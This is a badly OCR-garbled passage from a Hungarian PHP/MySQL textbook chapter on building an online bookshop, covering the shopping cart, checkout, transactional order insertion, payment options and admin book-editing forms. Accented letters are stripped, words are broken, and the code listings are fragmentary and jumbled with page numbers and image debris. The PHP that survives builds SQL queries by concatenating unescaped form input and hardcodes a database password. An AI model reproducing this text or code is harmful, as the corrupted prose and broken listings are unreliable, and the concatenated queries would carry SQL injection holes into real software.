28.6 bra: A paramter nlkl meghvott kos ar_ megjelenitese. php kd egysuren a kosr tartalmt jelenti meg. Ebben az esetben res volt a kosarunk, amikor a.,Kosr megtekints' gombra kartintottunk-vagyis mg egyeden knyver sem jelltnk ki vsrlsra. A 28.7 bra egy kicsir tovbb megy, merr kr knyv kivlasztsa utn murarja a kosarat. Ebben az esetben knyvnk angol eredetijnek, a PHP and MySQL Web Development cm ktetnek az oldaln rallhat .Kosrba tesz" gombra kattintva jutor tunk el erre az oldalra. Ha alaposabban szemgyre vesszk az URL-t tartalmaz svor, lthatjuk, hogy ezttal paramterrel hvtuk meg a kdot. A paramter neve ISBN-kdja. Ezen az oldalon kt lehetsg kzl vlasztharunk. A .. Vltoztatsok ments' gombbal a kosrban lev rtelek mennyis gnek vltozsait mentherjk el. Ez gy zajlik, hogy a felhasznl kzvetlenl megvltoztathatja az egyes rtelek mennyisgr, m:yd rkarrint a gombra. Ez lnyegben egy klds gomb, amely a kosar_ megjeleni tese. php kdhoz viszi vissza a fel hasznlt, hogy frisstse a kosarat. A felhasznl msik lehetsge a.,Tovbb a pnzrrhoz" gombra kattints. Ezt akkor kell megtennie, ha kszen ll a fizetsre. Rvidesen visszatrnk mg erre a funkcira.
u j,
rtke pedig O 6 723 29 7 6X - ez pedig nem ms, mint az imnr a kosrba terr knyv
432
28.fezet
28
28.7 bra: Az uj paramtert tartalmaz kosar_megjelenitese. php kd knyvet tesz a kosrba. Egyelre azonban vizsgljuk meg a kosar_megjelenitese. php kd tartalmt! A kdot a 28.9 pldakd tartalmazza. 28.9 pldakd: kosar_megjelenitese.php-A kosarat mkdtet kd
<?php session start(); include ('konyv kosar fuggvenyek.php');
$ SESSION['kosar'] [$uj] = l;
{ { {
{
$ POST[$isbn];
$_SESSION['kosar'][$isbn]
433
$_SESSION['vegosszeg']
ar_szamolasa($ SESSION['kosar']};
$_SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']};
28
html fejlee letrehozasa("Kosara"}; if(($_SESSION['kosar']}
&&
(array_count_values($_SESSION['kosar']}}}
$cel = "index.php"; ll ha az imnt beraktunk egy termket a kosrba, ll folytassuk a vsrlst ugyanabban a kategriban! if($uj}
[ [
$cel = "kategoria_megjelenitese.php?kategoriaiD=".$adatok['kategoriaiD'];
gomb_megjelenitese($cel,
"vasarlas-folytatasa",
"Vsrls folytatsa"};
hasznljuk ezt!
$ SERVER['PHP_SELF'];
$ SERVER['SERVER_NAME']; $eleresi_utvonal};
ll $eleresi_utvonal = str_replace('kosar_megjelenitese.php',
A kd hrom f rszbl ll: a kosr megjelentse, a termkek kosrba ttele s a vltoztatsok mentse. A kvetkez oldala kon ezt a hrom rszt tekintjk t.
A kosr megjelentse
Fggetlenl attl, hogy milyen oldalrl jvnk, megjelentjk a kosr tartalmr. Alapesetben, amikor a felhasznl a,.Kosr megrekints' gombra kattint, a kdnak csak az albbi rsze fog vgrehajtdni:
if(($_SESSION['kosar']}
&&
(array_count_values($ SESSION['kosar']}}}
kosar_megjelenitese($_SESSION['kosar']};
J else
A fenti kdbl kiderl, hogy ha kosarunk nem res, a kosar_megjelenitese(} fggvnyt fogjuk meghvni. res kosr esetn ezt kzl zenetet adunk a felhasznlnak. A kosar_megjelenitese(} fggvny semmi mst nem teszi, mint olvashat HTML formtumban megjelenti a kosr tartalmt-ezt lthattuk a 28.6 s 28.7 brn. A fggvny kdjt a 28.10 pldakd ltal megjelentett kimeneti_
434
28. fejezet
fuggvenyek.php f:ijlban talljuk. Noha megjelent fggvnyrl van sz, viszonylag sszetett a mkdse, ezrt rdemes
28
formz s kirfggvny
function kosar_megjelenitese($kosar, $valtoztatas = true, $kepek = l) ll kosrban lev ttelek megjelenitse ll a vltoztatsok opcionlis lehetv ttele (true vagy false) ll opcionlisan kpek hasznlata (l - igen, O - nem) {
echo "<table border=\"0\" width=\"100%\" cellspacing=\"0\"> <form action=\"kosar_megjelenitese.php\" method=\"post\"> <tr><th colspan=\"". (l + $kepek)."\" bgcolor=\"#cccccc\">Item</th> <th bgcolor=\"#cccccc\">Ar</th> <th bgcolor=\"#cccccc\">Mennyisg</th> <th bgcolor=\"#cccccc\">sszesen</th> </tr>"; ll a ttelek megjelenitse sorokknt foreach ($kosar as $isbn => $darabszam) $konyv
=
konyvadatok_lekerese($isbn); (
echo "<tr>"; if($kepek == true) echo "<td align=\"left\">"; if (file_exists("imagesl".$isbn.".jpg")) $meret = GetimageSize("imagesl".$isbn.".jpg"); if(($meret[O] > 0) && ($meret[l] > 0)) style=\"border: { echo "<img src=\"images/".$isbn.".jpg\" lpx solid black\" width=\"". ($meret[0]/3)."\" height=\"".($meret[l]l3)."\"/>"; else echo " "; echo "</td>"; echo "<td align=\"left\"> <a href=\"konyv_megjelenitese.php?isbn=".$isbn."\">".$konyv['cim']."</a> by ".$konyv['szerzo'] ."</td> <td align=\"center\">\$".number_format($konyv['ar'], 2) ."</td> <td align=\"center\">"; ll ha engedjk a vltoztatst, a darabszmok a szvegdobozba kerlnek if ($valtoztatas == true) size=\113\">"; else echo $darabszam; echo "<ltd> <td align=\"center\">\$".number_format($konyv['ar']*$darabszam,2)."</td> </tr>\n"; { echo "<input type=\"text\" name=\"".$isbn."\" value=\"".$darabszam."\"
435
)
ll sszesen sor megjelenitse echo "<tr> <th colspan=\"". (2+$kepek) ."\" bgcolor=\"#cccccc\"> </td> <th align=\"center\" bgcolor=\"#cccccc\">".$_SESSION['tetelek'l ."</th> <th align=\"center\" bgcolor=\"#cccccc\"> \$".number_format($_SESSION[ 'vegosszeg'l, </th> </tr>"; ll vltoztats mentse gomb megjelenitse if ($valtoztatas == true) echo "<tr> <td colspan=\"". (2+$kepek) ."\"> </td> <td align=\"center\"> <input type=\"hidden\" name=\"mentes\" value=\"true\"/> <input type=\"image\" src=\"images/valtoztatasok-mentese.gif\" border=\"0\" alt=\"Vltoztatsok mentse\"/> <ltd> <td> </td> </tr>"; echo "</form></table>"; 2) . "
28
A fggvny a kvetkezkppen mkdik: l. 2. Ciklus segtsgvel vgiglpked a kosrban lv sszes ttelen, s egyenknt tadja azok ISBN -kdjt a konyvadatok_
lekerese () fggvnynek, hogy megjelenthesse a knyvek adatait.
Megjelenti az adott knyvhz tartoz kpet, amennyiben az elrhet. A kp mrett szablyoz HTML cmkkkel (tag) kisebbre veszi az itt megjelentett kpet. Ez azt jelenti, hogy a kpek torzulnak egy kicsit, m elg aprk ahhoz, hogy ez ne okozzon tl nagy problmt. (Ha a torzts zavar, a Kpek ellltsa cm 22. fejezetben bemutatott gd knyvtr segts gvel mretezzk t a kpeket! Egy msik lehetsg, ha sajt kezilleg ksztjk el az egyes termkek kisebb kpeit.)
3. 4.
A kosr nnden egyes ttelnl a megfelel knyvre mutat hivatkozst hoz ltre- vagyis paramterknt az ISBN-k dot tadva meghvja a konyv _megjeleni tese. php kdot. Ha gy hvjuk meg a fggvnyt, hogy a valtoztatas paramter rtkt true-ra lltjuk (vagy nem adjuk meg az rtkr, s ebben az esetben az alaprtelmezett rtkvel-true- hasznljuk), akkor a szvegdobozokban ott talljuk " a darabszmokat, illetve a"Vltoztatsok mentse gomb zrja ezt a lnyegben rlapknt mkd rszt. (Amikor a fize tsnl majd jra felhasznljuk ezt a fggvnyt, akkor mt nem kvnjuk felajnlani a felhasznlnak a lehetsget, hogy mdostsa rendelst.)
Semmi rdngssg nincsen ebben a fggvnyben, de elg nagy munkt vgez, ezrt rdemes alaposan tolvasni s rtelmez ni az utastsait.
= O;
$ SESSION['vegosszeg'l ='0.00';
436
28.fgezer
28
{
= l;
$_SESSION['kosar'] [$uj]
Itt azt ellenrizzk, hogy a kosrban megtallhat-e mr az adott knyv. Ha igen, akkor a kosrban lv mennyisgr eggyel megnveljk. Ha nincs benne, akkor hozzadjuk a kosrhoz. Harmadsorban ki kell szmolnunk a kosrban lv ttelek szmt s rt. Ehhez az ar_szamalasa () s a tetelek
szamalasa () fggvnyt hasznljuk az albbiak szerint: $_SESSION['vegosszeg'] = ar_szamolasa($_SESSION['kosar']); $ SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']);
Ezek a fggvnyek a konyv fuggvenyek.php fggvnyknyvtrban tallhatk. Kdjukat a 28.11, illetve a 28.12 plda
_
kd tartalmazza. 28.11 pldakd: A konyv_fuggvenyek. php knyvtr ar_szamolasa ()fggvnye- A kosr tartalmnak teljes rt kisz mol s visszaadfggvny
function ar_szamolasa($kosar)
0.0; {
if(is_array ($kosar))
return $ar;
A kdbl kiderl, hogy az ar_szamalasa () fggvny gy mkdik, hogy kikeresi az adatbzisbl a kosrban lv min
den egyes ttel rt. Ez a folyamat viszonylag hosszan is eltarthat, ezrt azt elkerlend, hogy a kelletnl tbbszr vgrehajt suk, az rat (s a rtelek darabszmt) munkamenet-vltozknt eltroljuk, s csak akkor szmoljuk ki jra az sszeget, ha a kosr tartalma mdosul. 28.12 pldakd: A konyv_fuggvenyek.php knyvtr tetelek_szamalasa ()fggvnye- A kosrban lv ttelek sz mt kiszmo/ s visszaadfggvny
function tetelek_szamolasa($kosar)
return $tetelek;
437
A tetelek_ szarnelasa () fggvny valamivel egyszerbb; szimpln vgigmegy a kosr tartalmn, s az egyes ttelek da rabszmt sszeadva kiszmolja a kosrban lev termkek szmt. Ha a tmb mg nem ltezik (vagyis a kosr res), akkor O-t (nullt) ad vissza.
28
{ {
{
$ POST[$isbn];
$_SESSION['kosar'] [$isbn]
Ebben a kdban vgigmegynk a kosron, s a benne lev minden isbn kdnl ellenrizzk az ugyanolyan nev POST vl " tozt, amik a"Vltoztatsok mentse rlapbl szrmaz rlapvltozk lesznek. Ha ezek kzl brmelyik nullra lett lltva, akkor az unset() fggvny segtsgvel eltvoltjuk a kosrbl az adott ttelt. Ellenkez esetben az rlapmezknek megfelelen mdostjuk a kosr tartalmr:
if($_POST[$isbn] == '0') else
unset($_SESSION['kosar'] [$isbn]);
(! $ SESSION['tetelek']) {
$_SESSION['tetelek'] = '0';
if (!$ SESSION['vegosszeg'])
$ SESSION['vegosszeg'] = '0.00';
438
28. fejezet
A pnztrnl
Amikor a felhasznl a kosr,;rovbb a pnztrhoz" gombjra kattint, a penztar.php kdot hvja meg. A pnztr oldalt s
28
a mgtte lev oldalakar Secure Sockets Layer (SSL) kapcsolaton keresztl kellene elrni, de a pldban szerepl alkalmazs ezt nem erlteti. (Az SSL-rl a Biztonsgos tranzakcik megvalstsa PHP-vel s MySQL-lel cm 18. fejezerben beszltnk bvebben.) A pnztr oldalt a 28.8 bra murarja.
'----------------
......
r- ----------------- -
;:::---
A\1_..,._..,...--v-...,__..,.._ ...-....--
--=-:::"':."':"':"':":.
28.8 bra: A penztar.php kd az gyfl adatait gyjti be. A kd azt kri a vsrlrl, hogy aclja meg cmr (s szllrsi cmr, amennyiben kdot a 28.13 pldakd mutatja. 28.13 pldakd: penztar.php-Az gyfladatokat begyjt kd
<?php llfggvnyknyvtr beszrsa include ('konyv_kosar_fuggvenyek.php');
az
html_fejlec_letrehozasa("Pnztr");
if(($ SESSION['kosar']) && (array_count_values($ SESSION['kosar']))) kosar_megjelenitese($_SESSION['kosar'], penztar urlap_megjelenitese(); else echo "<p>Kosara jelenleg res<lp>"; false,
0);
"vasarlas-folytatasa",
"Vsrls
Nincsenek nagy meglepetsek a fenti kdban. Ha a kosr res, a kd figyelmezteti erre a felhasznlt; minden ms esetben a 28.8 brn lthat rlapot jelenti meg. Ha a vsrl az rlap aljn lv"Vsrls" gombra kattintva tovbblp, a va sarlas. php kdhoz jut. Ennek kimenert a 28.9 brn lthatjuk.
439
28
NilU WI
... -....!
. ____ ....,_,_.v_....,_,._...._ ___... ....... -
==-....,
v.......
#:-:1
A 28.14 pldakdban lthat va sarlas. php kdja valamivel bonyolultabb, mint a penztar. php fjl. 28.14 pldakd: vasarlas. php-A
<?php
ll
$ POST['varos1]; $_POST[1irsz'];
$orszag = $ POST[1orszag'];
ll ha ki van tltve
if (($_SESSION[1kosar1])
&& &&
($nev)
&&
($lakcim)
&&
($varos)
($irsz)
&&
($orszag))
!= false
s kpek nlkl false,
vltoztatsok engedlyezse,
kosar_megjelenitese($ SESSION['kosar1],
0);
szallitas_megjelenitese(szallitasi_koltseg_szamitasa());
ll hitelkrtyaadatok lekrse
kartya_urlap_megjelenitese($nev); gomb_megjelenitese("kosar_megjelenitese.php", "Vsrls folytatsa"); else echo "<p>Nem sikerlt eltrolni az adatokat, gomb_megjelenitese(1penztar.php1, else
1
"vasarlas-folytatasa",
krjk, 'Vissza 1 )
vissza',
440
28. fejezet
krjk,
prblja
l>";
'vissza',
'Vissza');
28
html lablec letrehozasa(); ?>
nev fggvnnyel beszrjuk az adatokat az adatbzisba. Ez az egyszer fggvny trolja el a vsrl adatait az adatbzisban. Kdjt a 28.15 pldakd tartalmazza.
28.15 pldakd: A rendelesi _fuggvenyek.php knyvtr rendeles_beszurasa ()fggvnye- A vsrl rendelsnek
ll lakcm belltsa szlltsi cmknt if((!$szallitasi_nev) && (1$szallitasi eim) && (!$szallitasi_varos)
&&
$kapcsolat = adatbazishoz kapcsolodas(); ll tranzakciknt kivnjuk beszrni a megrendelst ll tranzakci kezdse az autocommit kikapcsolsval $kapcsolat->autocommit(FALSE);
"SELECT
nev = '".$nev."'
AND varos = '".$varos."' AND allam = '".$allam."' AND irsz = '".Sirsz."' AND orszag = '".$orszag."'";
$eredmeny = $kapcsolat->query($lekerdezes);
$vasarlo->vasarloiD;
{
=
$lekerdezes
$kapcsolat->query($lekerdezes);
441
$vasarloiD = $kapesolat->insert_id;
28
"'.$_SESSION['vegosszeg'] "', '".$szallitasi nev."',
$datum = date("Y-m-d");
megrendelesek VALUES
'".$vasarloiD."',
'".$datum."',
'".PARTIAL."',
'".$szallitasi_cim."',
'".$szallitasi allam."',
'".$szallitasi_orszag."')";
$eredmeny if
$kapesolat->query($lekerdezes);
(! $eredmeny)
return false;
$lekerdezes
'".$vasarloiD."'
szallitasi eim
szallitasi_varos =
"'.$szallitasi_varos."'
'".$szallitasi_irsz."'
AND
szallitasi_orszag = '".$szallitasi_orszag."'";
$eredmeny
$kapesolat->query($lekerdezes);
$megrendeles->rendelesiD;
return false;
ll knyvek beszrsa
foreaeh($ SESSION['kosar'] as $isbn => $mennyiseg) $adatok = konyvadatok_lekerese($isbn); $lekerdezes "DELETE FROM rendelesi tetelek WHERE rendelesiO $eredmeny
= =
'".$rendelesiD."'
AND isbn
'".$isbn."'";
$kapesolat->query($lekerdezes);
$lekerdezes = "INSERT INTO rendelesi tetelek VALUES ( '".$rendelesiD."', $eredmeny if '".$isbn."', ".$adatok['ar'].", $mennyiseg) ";
= $kapesolat->query($lekerdezes);
(! $eredmeny)
return false;
442
28. fejezet
ll tranzakci befejezse
$kapcsolat->commit(); $kapcsolat->autocommit(TRUE);
return $rendelesiD;
A rendeles beszurasa () fggvny meglehetsen hossz, merr be kell vinni az adatbzisba a vsrl, a rendels s
_
a megvsrolni kvnt sszes knyv adatait. Lthatjuk, hogy az adatbeilleszts klnbz rszei tranzakcikknt trtnnek meg, amelyek a
$kapcsolat->autocommit(FALSE);
utastssal kezddnek, s a
$kapcsolat->commit(); $kapcsolat->autocommit(TRUE);
utastsokkal rnek vget. Ez az alkalmazs egyetlen olyan pontja, ahol tranzakcikat hasznlunk. Hogyan rjk el, hogy mshol nincs szksg tranz akcikra? Nzzk csak meg az adatbazishoz_kapcsolodas ( ) fggvnyben lv kdot:
function adatbaz1shoz kapcsolodas() $eredmeny if
=
{
'konyv_kosar', 'jelszo', 'konyv_kosar');
new mysqli('localhost',
(! $eredmeny)
return false;
A fggvnyben szerepl kd kiss eltr a korbbi fejezetekben hasznltaktL A MySQL-hez val kapcsolds ltrehozsa utn ki kell kapcsalni az autocomrnit mdot. Ahogy ez korbban mr szba kerlt, ez biztostja azt, hogy rninden egyes SQL utasts automatikusan vglegess vljk. Arnikor tbb utastsbl ll tranzakcit kvnunk hasznlni, kikapcsoljuk az autocommit m dot, vgrehajtjuk az adatbeillesztsek sort, vglegestjk az adatokat, majd visszakapcsoljuk az autocommit mdot. Ezt kveten az albbi kdsorral kiszmoljuk a vsrl ltal megadott cm esetn fizetend szlltsi kltsget, s tudatjuk vele:
szallitas_megjelenitese(szallitasi koltseg_szamitasa());
A szallitasi_koltseg_szarnitasa() fggvnyben hasznlt kd minden esetben 20 dollr szlltsi kltsggel sz mol. Ha valdi online zletet nyitunk, ki kell vlasztanunk a szllts mdjt, meg kell hatrozni a klnbz cmekhez tarto z szllrsi kltsget, s ennek megfelelen kell a szlltsi djat kiszrnitani. Ezt kveten a kimeneti_fuggvenyek. php knyvtr kartya_ urlap_ megjelenitese() fggvnye segtsgvel megjelentjk a felhasznl szmra azt az rlapot, ahol a hirelkrryjta vonatkoz adatokat megadhatja.
A fizets feldolgozsa
Amikor a felhasznl a.,Vsrls" gombra kattint, a feldolgoz as. php kd segtsgvel feldolgozzuk fizetsi adatait. A 28.10 brn egy sikeresen vgbement fizers eredmnyt lthatjuk.
443
28
$_POST['kartya_ev');
=
&&
&&
($kartya szama)
&&
($kartya_ev)
($kartya_nev)) false,
{
s kpek nlkl
ll kosr megjelentse,
vltoztatsok engedlyezse,
kosar_megjelenitese($ SESSION['kosar'),
0);
szallitas_megjelenitese(szallitasi_koltseg_szamitasa()); if(kartya feldolgozasa($_POST)) //kosr kirtse session_destroy(); echo "<p>Ksznjk, else echo "<p>Nem tudtuk feldolgozni bankkrtyjt. Krjk, a krtya kibocstjval, gomb_megjelenitese("vasarlas.php", else echo "<p>Nem tlttte ki az sszes mez6t, gomb_megjelenitese("vasarlas.php", krjk, prblja meg jra!</p><hr />"; "vissza", "Vissza"); "vissza", "Vissza"); lpjen kapcsolatba s prblkezzon jra!</p>"; hogy nlunk vsrolt. Megrendelst rgztettk.</p>"; "vasarlas-folytatasa", "Vsrls folytatsa"); gomb_megjelenitese("index.php",
stannk a fizetse, akkor elszr ellenriznnk kellene a krtya lejrati dtumt, illetve a megadott krtyaszm formcumt, ezt kveten pedig tnylegesen fel kellene dolgoznunk a fizetst. Mkd weboldal fejlesztse esecn el kell dntennk, milyen elszmolsi mechanizmust kvnunk hasznlni. A kvetkez lehetsgek kzl vlaszthacunk: Tranzakcik elszmolsval foglalkoz szolgltatval szerzdnk. Itt szmos alternatva kzl vlaszthacunk attl fg gen, hogy hol mkdik a vllalkozsunk. Egyes szolglcatk vals idej elszmolst knlnak, msok nem. A vals idej elszmols szksgessge attl fgg, hogy mit szerecnnk online rtkesteni. Ha online szolgltatsokac knlunk, akkor minden bizonnyal ignyt fogunk r tartani; ha csak termkeket szlltunk ki, akkor a vals idej elszmols kevsb fon tos szmunkra. A szolgltack mindkt esetben megkmlnek a hitelkrtyaadatok trolsnak felelssgtl.
444
28. fejezet
Titkostott e-mailben elkldjk magunknak a vsrlk hitelkrtyjnak adatait. A titkosrst a 18. fejezetben megismert Pretty Good Privacy (PGP) vagy Gnu Privacy Guard (GPG) mdszerrel valsthatjuk meg. Ha megkaptuk s visszafej
28
tettk az e-mailt, sajt kezleg feldolgozzuk a tranzakcikat. Adatbzisban troljuk a hitelkrtyaadatokat. Ezt a lehetsget csak akkor szabad mrlegelni, ha nagyon, tnyleg nagyon meg vagyunk gyzdve rendszernk biztonsgrL A 18. fejezetben bvebben kifejtetrk, mirt nem igazn j det az ilyen bizalmas adatok adatbzisban trolsa. Ezzel vgre rtnk a kosr s a fizetsi modulok ttekintsnek. Itt rdemes megemltennk, hogy a magyarorszgi gyakorlatban nincs olyan fellet, amellyel egy webruhzmotor kzvet lenl csatlakozni tudna valamely bankhoz, s tranzakcikat hajthatna vgre. Itthon az online bankkrtys fizets leginkbb a PayPal.express chekout" fizetsi metdushoz hasonl, s alapveterr a kvetkez lpsekbl llhat:
l.
A webruhz pnztrbl a fizetsi gomb hatsra tirnytjuk a felhasznlt a webruhz zemeltetjvel szer zdte bank egy specilis oldalra (pl.: ha a SuperBankkal krnk szerzdst, akkor a https://onlinechecking. superbank.hu oldalra kldjk a vsrlt), legtbbszr cmsorban tadva a vsrls paramtereit (vsrolt termkek, sszegek, vgsszeg stb.).
2. 3. 4. 5. 6.
A vsrl a SuperBank oldaln megadja bankkrtyaadatait, ezzel belp egy felletre. Ezen a felleten megjelenik a webruhzunk ltal radott fizetnival sszege (esetleg ttelesen a majdani szmla minden sora), illetve a "Fizets" gomb. Amikor a vsrl jvhagyja a fizetst, a SuperBank visszadobja a vsrlt a webruhzunk oldalra. Itt mr nincs ms dolgunk, mint a visszarkez vsrl fizetsrl szl tranzakcis kddal a httrben lekrdez nnk a SuperBankot a tranzakci sikeressgrL A vlasz ismeretben eldnthetjk, hogy mi legyen a kvetkez lps: Hibt adunk, mert a vsrl Mgsem" gombot nyomott a SuperBank oldaln. " Hibt adunk, mert a vsrlsra nincs fedezet. Visszaigazol zenetet runk a vsrls sikeressgrL
445
28
55:..
if (($_POST['felhasznaloi_nev'])
&&
($_POST['jlsz']))
$_POST['felhasznaloi_nev'];
$felhasznaloi nev;
echo "<p>Nem sikerlt belptetni.<brl> Az oldal megtekintshez be kell jelentkezni.<lp>"; html_url_letrehozasa('bejelentkezes.php', html_lablec_letrehozasa(); exit; 'Bejelentkezs');
html_fejlec_letrehozasa("Adminisztrci"); if (admin_felhasznalo_ellenorzese()) admin_menu_megjelenitese(); else echo "<p>Nincs jogosultsga belpni az adminisztrcis felletre.<lp>"; html_lablec_letrehozasa(); ?>
446
28. fejezet
A kd minden bizonnyal ismersnek hat, hiszen a 27. fejezet egyik kdjhoz igen hasonl. Belps utn a felhasznl meg vltoztathatja jelszavt, vagy kijelentkezhet; az ezeket a funkcikat megvalst kd teljes egszben megegyezik a 27. fejezet
28
ben hasznlttal, gy itt most eltekintnk a megjelentstL Bejelentkezse utn az admin_felhasznala munkamenet-vltoz s az admin_felhasznala _ellenorzese () fggvny segtsgvel azonostjuk a rendszergazdai felhasznlt. Ezt s az adminisztrcis kdok ltal hasznlt tbbi fggvnyt az admin_fuggvenyek. php fggvnyknyvtr tartalmazza. Ha a felhasznl gy dnt, hogy j kategrit vagy knyvet tlt fel, akkor a kategoria_beszurasa_urlap.php, illetve a konyv_beszurasa_urlap.php kdot veszi ignybe ehhez. Mindkett egy kitltend rlapot jelent meg a rendszergazda szmra. Az rlapot a tartalmnak megfelel kd (kategoria_beszurasa.php vagy konyv_beszurasa.p hp) dolgozza fel, amely elszr ellenrzi, hogy az rlap ki lett-e tltve, majd beszrja az adatbzisba az j adatokat. A kt kdpr kzl csak a knyvek beszrst vgzk tartalmt tekintjk t, mert a msik kt kd ezekkel teljes mrtkben egyez mdon mkdik. A konyv_beszurasa_urlap.php kd ltal ltrehozott rlapot a 28.13 bra mutatja.
Knyv hOuadsa
=-;
Kol_..
r-..,--
-- - - ----- ----
'
28.13 bra: A rendszergazda ezzel az rlappal vihet fel j knyveket az online katalgusba.
Figyeljk meg, hogy a knyvek Kategria mezje egy HTML SELECT elem! A legrdl menbl vlaszthat lehets gek a korbban mr megvizsglt kategoriak_lekerese () fggvny hvsbl kvetkeznek. Amikor a felhasznl a"Knyv felvitele" gombra kattint, a konyv_beszurasa.php fjlt hvja meg. Ennek tartalmt a 28.18 pldakd mutatja.
28.18 pldakd: konyv_beszurasa.php-A kd ellenrzi az j knyv adatait, majd beszrja azokat az adatbzisba
<?php
eeho "<p>A(z) <em>".stripslashes($eim)."</em> knyvet hozzadtuk az adatbzishoz.</p>"; else eeho "<p>A(z) <em>".stripslashes($eim)."</em> knyvet nem sikerlt hozzadni
447
az adatbzishoz.</p>";
28
html lablec_letrehozasa();
?>
A 28.18 pldakdbl lthat, hogy a kd meghvja a konyv_beszurasa () fggvnyt. Ezt s az adminisztrcis kdok ltal hasznlt tbbi fggvnyt az admin_ fuggvenyek.ph p fggvnyknyvtrban talljuk. Az j kategrik s knyvek felvitele mellett a rendszergazdk szerkeszthetik s trlhetik is azokat. Ezeket a funkcikat gy valstottuk meg. hogy minl tbbet fel tudjunk hasznlni a meglv kdokbl. Amikor a rendszergazda az adminiszt rcis men.,Ugrs a nyitoldalra" hivatkozsra kattint, az index. php oldalon lv kategrialisthoz jut, s az ltalnos felhasznlkkal egyez mdon, ugyanazokat a kdokat hasznlva naviglhat az oldalon. Egy fontos klnbsget azonban meg kell emlteni az egyszerU s a rendszergazdai felhasznJk kztt: az urbbiaknak ms funkcikat tesznk elrhetv. A rendszergazdkat az alapjn ismerjk fel, hogy szmukra az admin_felhasznala munka menet-vltozt regiszttltuk. Ha megnzzk pldul a fejezet egy korbbi rszben megvizsglt konyv_megjelenitese. php oldalt, akkor a 28.14 brn lthatktl klnbz menpontokat ltunk.
28.14 bra: A konyv_megjelenitese.php kd msmilyen kimenetet llt el a rendszergazdk szmra. " Rendszergazdaknt kt j gombot ltunk az oldalon:"Ttel szerkesztse s "Admin men': Vegyk szre, hogy a jobb fels sarokban nem jelenik meg a kosr, helyette a Kijelentkezs" gombot lthatjuk ott! " Ennek az oldalnak a kdja, amit mg a 28.8 pldakdban lthattunk, a kvetkezkppen nz ki:
if(admin_felhasznalo_ellenorzese())
{
"tetel-szerkesztese",
"folytatas",
"Folytats");
Ha jra megnzzk a kategoria_megjelenitese.ph p kdot, ott is lthag uk ezeket a funkcikat. Amikor a rendszergazda a,;ftel szerkesztse" gombra kattint, a konyv_szerkesztese_urlap.php kdot hvja meg. A kd kimenett a 28.15 brn lthag uk.
448
28. fejezet
28
28.15 bra: A konyv_szerkesztese_urlap.php kd lehetsget ad a rendszergazdknak a knyv adatainak szerkesztsre s a knyv trlsre.
Az rlap els fele megegyezik azzal, amivel korbban a knyvek adatait felvittk. Abba az rlapba beptettnk egy olyan opcit, ami a meglv knyvadatokat tadhatja az rlapnak mindez pontosan mit jelent.
28.19 pldakd: Az a dmin_fuggvenyek. php knyvtr konyv_urlap_megjeleni tese () szerkesztshez is hasznlhat, ketts cl rlap
function konyv_urlap_megjelenitese($konyv '')
az
a vltoztatst hajtottuk vgre a kategrik szerkesztsre s trlsre szolgl rlapon is. A 28.19 pldakdban lthatjuk, hogy
fggvnye- A felvitelhez s
ll A knyv rlapot jelenti meg. ll Nagyon hasonl a kategria rlaphoz. ll Az rlapot knyvek felvitelre s szerkesztsre lehet hasznlni. ll Felvitelhez nem adunk t paramtert. Ez false-ra lltja a $szerkesztes ll rtkt,
az rlap pedig a konyv_beszurasa.php oldalt hvja meg. Az rlap
ll Szerkesztshez egy knyvet tartalmaz tmbt adunk t. ll a rgi adatokkal fog megJelenni, ll Egy "Knyv trlse" gombot is megjelent.
HTML
$szerkesztes ?
'konyv_szerkesztese.php'
'konyv_beszurasa.php';?>"> <table border="O"> <tr> <td>ISBN:</td> <td><input type="text" name="isbn" value="<?php echo $szerkesztes ? $konyv ['isbn' l </tr> <tr> <td>Knyvcm:</td> <td><input type="text" name="cim" value="<?php echo </tr> <tr> $szerkesztes ? $konyv ['eim' l ?>" /></td> ''; ?>" /></td>
449
<td>Szerz:</td> <td><input type="text" name="szerzo" value="<?php echo $szerkesztes ? $konyv['szerzo' l </tr> <tr> <td>Kategria:</td> <td><select name="kategoriaiD"> <?php ll a szba jhet kategrik listja az adatbzisbl szrmazik $kat tomb=kategoriak_lekerese(); foreach ($kat_tomb as $ez_a_kat) echo "<option value=\"".$ez_a_kat['kategoriaiD'] ."\""; ll ha meglv knyv, if (($szerkesztes) tegye az aktulis kategriba! ($ez_a_kat['kategoriaiD'] == $konyv['kategoriaiD'])) ?>" /><ltd>
28
&&
echo ' kivlasztva''; ' echo ">".$ez a kat['kategoria neve'] ."</option>"; ?> </select> <ltd> </tr> <tr> <td>r:</td> <td><input type="text" name="ar" value="<?php echo $szerkesztes ? $konyv['ar'] </tr> <tr> <td>Lers:</td> <td><textarea rows="3" cols="50" name="leiras"><?php echo $szerkesztes ? $konyv['leiras' l </tr> <tr> <td <?php if <?php if ($szerkesztes) ll ha az isbn kdot mdostjuk, ll szksgnk van a rgire, hogy megtalljuk a knyvet az adatbzisban echo "<input type=\"hidden\" name=\"elozo isbn\" value=\"".$konyv['isbn']."\" />"; ?> <input type="submit" value="<?php echo $szerkesztes ? 'Knyv szerkesztse' hozzadsa'; </form></td> <?php if ($szerkesztes) echo "<td> <form method=\"post\" action=\"konyv_torlese.php\"> <input type=\"hidden\" name=\"isbn\" value=\"".$konyv['isbn'] ."\" /> <input type=\"submit\" value=\"Knyv trlse\"/> </form></td>"; ?> Knyv" /> 'j Knyv : ' '; ?></textarea></td> ''. ?>" /><ltd>
'
} ?> align="center">
450
28.fezer
?> </td>
28
Ha az rlapnak knyvadarokat tartalmaz rmbr adunk r, szerkeszrsi mdban, az rlapmezkben a meglv adarokkal jelenik meg:
<input type=''text'' name=''ar'' $sz erkesztes ? $konyv ['ar' valu e="<?php echo
' ';
?>" / ><
A klds gomb is kicsir msmilyen. Sr, a szerkeszrsre alkalmas rlapon egszen pontosan kr gombot lthatunk: az egyik a knyv szerkeszrsre, a msik pedig a trlsre szolgl. Ezek a gombok a konyv
torlese. php
_
a konyv
